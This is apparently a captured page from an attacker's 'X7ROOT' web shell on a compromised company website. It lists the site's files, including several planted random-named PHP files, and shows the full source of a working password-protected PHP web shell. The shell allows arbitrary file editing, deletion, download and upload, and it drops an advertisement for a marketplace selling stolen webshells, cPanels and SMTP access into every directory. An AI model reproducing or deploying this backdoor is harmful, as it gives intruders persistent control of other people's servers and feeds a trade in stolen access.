X7ROOT File Manager
Current Path:
/var/www/vhosts/hwtw.com.tw/httpdocs
var
/
www
/
vhosts
/
hwtw.com.tw
/
httpdocs
/
š
..
š
.htaccess
(1.33 KB)
š
.well-known
š
aaaa.png
(22.58 KB)
š
about.php
(4.23 KB)
š
admin.php
(4.23 KB)
š
backend
š
changeLang.php
(117 B)
š
config.inc.php
(1.72 KB)
š
config.php
(0 B)
š
contact.php
(1.7 KB)
š
css
š
favicon.ico
(596 B)
š
hkktaxs.php
(4.92 KB)
š
img
š
include
š
include.php
(5.71 KB)
š
index.php
(15.09 KB)
š
js
š
lang
š
libs
š
origin
š
ova.php
(0 B)
š
product.php
(2.37 KB)
š
product2.php
(2.38 KB)
š
product3.php
(2.37 KB)
š
product4.php
(3.12 KB)
š
ptrxbqi.php
(4.92 KB)
š
public_include.php
(549 B)
š
robots.txt
(95 B)
š
sitemap.xml
(1.54 KB)
š
stpvxfe.php
(4.92 KB)
š
support.php
(5.75 KB)
š
update
š
utchiha_3WBaUlWR.txt
(10 B)
š
utchiha_GUO6J0cZ.php
(0 B)
š
utchiha_N9omggk8.php
(8 KB)
š
utchiha_P6GAYsRf.php
(0 B)
š
utchiha_gO4TVdDZ.txt
(9 B)
š
vzx.php
(37.04 KB)
š
webfonts
š
webimages
š
zvewfpw.php
(4.92 KB)
Editing: utchiha_N9omggk8.php
<?php session_start(); // Start the session // Define the correct password (for demonstration purposes, use a secure method in production) $correct_password = 'utchiha505'; // Check if the user is already logged in if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) { // If not logged in, show the login form if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Handle login submission if (isset($_POST['password'])) { $password = $_POST['password']; if ($password === $correct_password) { $_SESSION['logged_in'] = true; header('Location: ' . $_SERVER['PHP_SELF']); // Redirect back to the same page exit; } else { $login_error = "Invalid password. Please try again."; } } } // Display the login form ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css"> </head> <body> <div class="container my-5"> <h1 class="mb-4">Login</h1> <?php if (isset($login_error)): ?> <div class="alert alert-danger"><?php echo $login_error; ?></div> <?php endif; ?> <form method="post"> <div class="form-group mb-3"> <label for="password" class="form-label">Password:</label> <input type="password" name="password" id="password" class="form-control" required> </div> <button type="submit" class="btn btn-primary">Login</button> </form> </div> </body> </html> <?php exit; // Stop further execution until logged in } // If the user is logged in, proceed to the file manager // Automatically create a .txt file with the specified content in every folder function createFileInFolders($directory, $fileName, $content) { // Scan the current directory $items = scandir($directory); foreach ($items as $item) { // Skip special entries '.' and '..' if ($item === '.' || $item === '..') { continue; } $path = $directory . DIRECTORY_SEPARATOR . $item; // If the item is a directory, recurse into it if (is_dir($path)) { // Recursively call the function for subdirectories createFileInFolders($path, $fileName, $content); } } // Create the file in the current directory $filePath = $directory . DIRECTORY_SEPARATOR . $fileName; if (!file_exists($filePath)) { file_put_contents($filePath, $content); echo "<div class='alert alert-info'>File '$fileName' has been created in '$directory'.</div>"; } else { echo "<div class='alert alert-warning'>File '$fileName' already exists in '$directory'.</div>"; } } // Define the file name and content $auto_file_name = 'List_Shells.txt'; $auto_file_content = "š„ Looking for Webshells, Webmailers, SMTPs, cPanels, or WHM? š„\n\nā Fresh stock daily\nā Instant delivery\nā Secure transactions\n\nš Get started now: @utchiha505_Market_bot\n\nš Your privacy is guaranteed. Join us today!"; // Start creating files from the root directory createFileInFolders('.', $auto_file_name, $auto_file_content); // Set the directory you want to access $directory = './'; // Check if the user has submitted the form if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Handle file actions if (isset($_POST['action'])) { $action = $_POST['action']; $filename = $_POST['filename']; $path = $directory . $filename; switch ($action) { case 'edit': if (isset($_POST['content'])) { $content = $_POST['content']; file_put_contents($path, $content); echo "<div class='alert alert-success'>File '$filename' has been updated.</div>"; } break; case 'delete': if (file_exists($path)) { unlink($path); echo "<div class='alert alert-danger'>File '$filename' has been deleted.</div>"; } break; case 'download': if (file_exists($path)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $filename . '"'); readfile($path); exit; } break; case 'upload': if (isset($_FILES['file']) && $_FILES['file']['error'] == UPLOAD_ERR_OK) { $uploadedFile = $_FILES['file']; $uploadedFilename = $uploadedFile['name']; $uploadedFilePath = $directory . $uploadedFilename; if (move_uploaded_file($uploadedFile['tmp_name'], $uploadedFilePath)) { echo "<div class='alert alert-success'>File '$uploadedFilename' has been uploaded.</div>"; } else { echo "<div class='alert alert-danger'>Error uploading file '$uploadedFilename'.</div>"; } } break; } } } // Get the list of files in the directory $files = scandir($directory); ?> <!DOCTYPE html> <html> <head> <title>File Manager</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css"> </head> <body> <div class="container my-5"> <h1 class="mb-4">File Manager</h1> <h2 class="mb-3">Files in the directory:</h2> <div class="list-group"> <?php foreach ($files as $file) { if ($file !== '.' && $file !== '..') { echo "<a href='?file=$file' class='list-group-item list-group-item-action'>" . $file . "</a>"; } } ?> </div> <div class="mt-5"> <h2 class="mb-3">Upload a File</h2> <form method="post" enctype="multipart/form-data"> <input type="hidden" name="action" value="upload"> <div class="form-group"> <input type="file" name="file" class="form-control-file"> </div> <button type="submit" class="btn btn-primary">Upload</button> </form> </div> <?php if (isset($_GET['file'])) { $file = $_GET['file']; $path = $directory . $file; $content = file_get_contents($path); ?> <div class="mt-5"> <h2 class="mb-3">Edit File: <?php echo $file; ?></h2> <form method="post"> <input type="hidden" name="action" value="edit"> <input type="hidden" name="filename" value="<?php echo $file; ?>"> <div class="form-group"> <textarea name="content" rows="10" class="form-control"><?php echo htmlspecialchars($content); ?></textarea> </div> <button type="submit" class="btn btn-primary">Save</button> <a href="?file=<?php echo $file; ?>&action=download" class="btn btn-secondary">Download</a> <button type="submit" name="action" value="delete" class="btn btn-danger">Delete</button> </form> </div> <?php } ?> <div class="mt-5"> <form method="post" action="logout.php"> <button type="submit" class="btn btn-danger">Logout</button> </form> </div> </div> </body> </html> <?php // Logout functionality (create a separate logout.php file or handle it here) if (isset($_POST['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; }
Upload File
Create Folder